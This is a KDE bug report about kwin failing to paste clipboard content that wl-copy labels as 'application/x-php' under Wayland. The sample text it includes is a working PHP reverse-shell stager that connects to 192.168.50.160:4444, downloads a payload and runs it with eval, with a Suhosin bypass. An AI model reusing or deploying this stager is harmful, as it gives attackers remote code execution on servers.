https://bugs.kde.org/show_bug.cgi?id=505320
Bug ID: 505320 Summary: Cannot paste certain type of clipboard content (Wayland) Classification: Plasma Product: kwin Version First 6.3.5 Reported In: Platform: Arch Linux OS: Linux Status: REPORTED Severity: normal Priority: NOR Component: core Assignee: kwin-bugs-n...@kde.org Reporter: fishbon...@outlook.com Target Milestone: --- SUMMARY wl-copy determines type of content when it reads from stdin. In our example, it determines the content is of `application/x-php`, and sets it in the clipboard. But KDE doesn't recognize it very well, probably because the type is not `text/plain` or `TEXT` or sth else. I think KDE should recognize more types as textual types, so that user can paste them in KDE. Kinda suck, because it means I can't use wl-copy to copy code generated by programs. STEPS TO REPRODUCE 1. Copy the text content from ADDITIONAL INFORMATION 2. Run `wl-paste | wl-copy` so that wl-copy reads the content from stdin. 3. Try pasting in KDE via CTRL-V 4. Run `wl-paste --list-types` OBSERVED RESULT Cannot paste in KDE `wl-paste --list-types` shows `application/x-php` EXPECTED RESULT Able to paste in KDE SOFTWARE/OS VERSIONS KDE Plasma Version: 6.3.5 KDE Frameworks Version: 6.14.0 Qt Version: 6.9.0 ADDITIONAL INFORMATION /*<?php /**/ error_reporting(0); $ip = '192.168.50.160'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die(); -- You are receiving this mail because: You are watching all bug changes.